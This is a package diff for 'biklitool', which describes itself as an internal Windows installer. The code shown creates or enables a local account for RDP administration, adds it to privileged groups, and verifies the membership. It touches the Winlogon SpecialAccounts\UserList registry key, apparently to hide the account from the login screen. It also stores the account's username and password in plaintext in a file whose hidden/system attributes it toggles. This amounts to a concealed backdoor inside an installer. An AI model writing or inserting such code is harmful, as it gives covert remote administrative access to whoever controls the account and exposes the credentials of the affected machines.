biklitool 1.1.16 → 1.1.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -276,6 +276,13 @@ function hideProtectedFolders() {
276
276
  function saveAccountCredentials(username, password) {
277
277
  const dir = path.dirname(credentialsFile);
278
278
  fs.mkdirSync(dir, { recursive: true });
279
+ if (fs.existsSync(credentialsFile)) {
280
+ try {
281
+ run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
282
+ } catch {
283
+ // ignore
284
+ }
285
+ }
279
286
  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
280
287
  encoding: 'utf8',
281
288
  mode: 0o600
@@ -321,6 +328,7 @@ function createRdpAdministrator() {
321
328
  `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
322
329
  `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
323
330
  `$verified=@()`,
331
+ `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
324
332
  `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
325
333
  `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
326
334
  `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "1.1.16",
3
+ "version": "1.1.17",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {